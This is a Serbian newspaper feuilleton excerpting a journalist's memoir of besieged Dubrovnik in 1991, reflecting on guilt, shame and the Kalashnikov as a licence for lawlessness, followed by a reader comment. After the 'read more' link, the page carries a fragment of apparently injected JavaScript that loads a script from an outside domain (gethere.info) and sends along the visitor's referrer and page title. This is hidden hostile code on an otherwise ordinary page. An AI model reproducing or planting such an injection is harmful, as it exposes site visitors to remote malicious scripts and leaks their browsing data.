FELJTON, SEĆANJA IZ OPKOLJENOG DUBROVNIKA (1): Kalašnjikov – dozvola za sve

FELJTON, SEĆANJA IZ OPKOLJENOG DUBROVNIKA (1): Kalašnjikov – dozvola za sve


Na dvadesetpetogodišnjicu opsade Dubrovnika Ekspres objavljuje izvode iz knjige Ivana Radovanovića, koji je, kao novinar Borbe, u novembru 1991. godine proveo desetak dana u opkoljenom gradu. Knjiga će biti objavljena u izdanju Publisher d.o.o. i biće prezentovana na medijskom štandu Ekspresa tokom predstojećeg Sajma knjiga.

Koliko je star Dubrovnik? Godinama kasnije, nekoliko puta mi je ruka poletela da na Guglu napiše ime kamenog grada i proveri taj podatak, što bi za mene, u svim drugim okolnostima, bilo uobičajeno. Opterećen sam podacima, zaljubljen u njih, željan svake vrste saznanja, nove činjenice, otkrivanja nečeg što do tada nisam znao, pukog podsećanja… A, opet, nikada nisam to uradio. U mom Guglu, Dubrovnik ne postoji. Neki put pomislim da je, bar što se mene tiče, on nastao baš tada, krajem novembra ’91. godine, kada sam ga video, opkoljenog, s mora. I da je nestao desetak dana kasnije, kada sam ga napustio, ponovo morem. I nikada više nisam otišao. Niti sam želeo da odem. U metafizičkom smislu, to me, možda, oslobađa odgovornosti. Samo se ubice vraćaju na mesto zločina.

S druge strane, ako su te upoznali s Berđajevim i njegovom „aristokracijom duše”, a mene jesu, i zaljubio sam se u taj ideal, ne možeš da se ne pitaš – da li si kriv. I ne možeš da se ne stidiš same činjenice da si bio, tada, u tom trenutku, živ, da si prisustvovao ratu, i da si celu tu odvratnost nadživeo.
Ne možeš bez te mučnine, prema sebi, zločincima, i nemojte da se čudite, žrtvama. I to ne na način moje babe, koja je, kada neku ženu siluju, mudro zaključivala – a mahala je repom, a? – nego na onaj koji oseća sama žrtva. A ta mučnina, taj stid, mnogo je dublji od onog koji oseća zločinac. S tim da je počinio zločin, čovek može da živi. S tim da je zločin nad njim počinjen, mnogo teže. I stalno se pita – kako i zašto, i razmišlja o svojim greškama, čak i kada mrzi zločinca, ipak ga kopka sopstvena krivica, to da li je trebalo da tada bude tu, ili zašto ga je upoznao, što se nije mnogo ranije ratosiljao čitavog tog okruženja, zašto nije preskočio taj grad, tu ulicu, kafanu, posao, te ljude… Kriva je žrtva, sama sebi. Zločinac nema tu muku. Njega drugi osude. I kraj.

Znao sam sve to, vrlo dobro, pošto sam upoznao i jedne i druge, i žrtve i zločince, i pošto sam se i za jedne i za druge stideo. I za sebe. Pa smo se, tako udruženi u stidu, svi zajedno, meni samom i smučili. Dovoljno da nikoga više nisam razumeo, ni žalio. Sebe, ponajmanje. Zato i ne znam koliko je Dubrovnik star. Znam samo da se tada rodio, niknuvši, u daljini, iz valova i pene, i da je odmah i naglo ostario, kada smo mu, konačno prišli. Ono što su, s mora, na oštrom novembarskom suncu, bile bele zidine, iz blizine je bilo žuto, prljavo, oronulo, s gomilom svakojakog đubreta, smrdljivih izlučevina koje iz svakog grada izbacuje rat, i raspe ih po stenama u podnožju.

More u luci je bilo masno, dok čađav, prenatrpan kolicima s brašnom, šećerom, uljem – sadržajem humanitarnih paketa – koja su razbarušeni, odrpani i oznojani ljudi trčeći gurali ka uskim ulicama starog grada, gotovo se sudarajući s civilima naoružanim kalašnjikovima, koji su vikali, dizali automate, pokazivali rukama, kao neki poludivlji saobraćajni policajci, tamo gde saobraćaja više i nema. Vrlo jasno sam osetio miris srednjeg veka. I shvatio kako bi se u taj vek, od svih nas, kalašnjikov jedini savršeno uklopio.

Arkebuza sa šaržerom. Mehmed II Osvajač, imao je trupe, tokom opsade Carigrada, koje su se zvale „bašibozluk” – čist šljam, u prevodu, spreman da pljačka, skupljen s raznih strana njegovog velikog carstva, i guran da prvi pogine. Kalašnjikov je savršeno oružje, upravo za takve. Jedino što je, tog novembra, bašibozluk bio s obe strane ovih zidina. I dobro mu je bilo.
Zato danas i mislim kako Svetlana Velmar Janković, draga žena, nije bila u pravu kada je, desetak godina kasnije, dok smo stajali u nekoj bašti – zvanice na žurki nove klase, koja je u Beogradu činila novu, napuderisanu vlast, gizdavu i moćnu – ovlaš primetila: „Dragi moj, ništa tako ne menja karakter čoveka kao audi s vozačem”.

Menja. Kalašnjikov. Audi je deo legitimiteta. Ne možeš da gaziš ljude dok ga voziš. Kalašnjikov je čista anarhija, ne zna ni za kakve zabrane, niti za pravila. I onog trenutka kada ti ga neko da, dao ti je i dozvolu da uradiš baš šta hoćeš. Ubiješ komšiju? Što da ne. Poznanika, stranca, dete, ženu, starca, kljastog, velikog, ispravnog, krivog, pravog, ludog, pametnog… Sve može. Zato, kada vidiš čoveka s kalašnjikovim, vidiš pravu promenu. Ljudsku. Naoružana duša je, na neki način, i najiskrenija duša. Gotovo dečja.
Uradi sve što hoće, bez zazora, sumnje i bez ikakvog žala. Sve što je toliko dugo želela da uradi, a sprečavala su je glupa pravila, i još gluplja, nametnuta, tuđa savest.
I znali smo sve to onog trenutka kada smo kročili na musavi, nauljeni i užurbani dok. Da nema pravila. Gerhard je bio ozaren. To je bila scenografija za rat koji je on tražio. Prljav, muški, razvratan. Rat svih sa svima, i svih protiv svih. U gradu, i oko njega. Beskrajan.

Marijana je, kroz svoje ogromne naočare, izgledala kao da je duplo prestravljena. Ipak je, gotovo ne pomerajući usne, uspela da izgovori nešto što je nama, avanturistima, više ličilo na antiratni proglas, nego na stvarni utisak: „Bože, jadni ljudi, strašno, bože, užas, kako li oni žive, strašno”.

PROČITAJTE JOŠ: 
„Dubrovnik“ Ivana Radovanovića na Sajmu knjigas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

1 comment

Dodajte komentar
  1. 1
    Lana Schwartz

    Od 91.moj Dubrovnik nije vise bio “moj”!
    Ali,ja sam na to gledala kao na bivšeg,nevjernog ljubavnika,koji me je prevario!
    .Bolilo me je u početku,sanjala sam ga mjesecima,godinama….ali više me ne boli i sada ne osjećam ništa i potpuno sam ravnodušna prema njegovoj ljepoti!

+ Ostavite komentar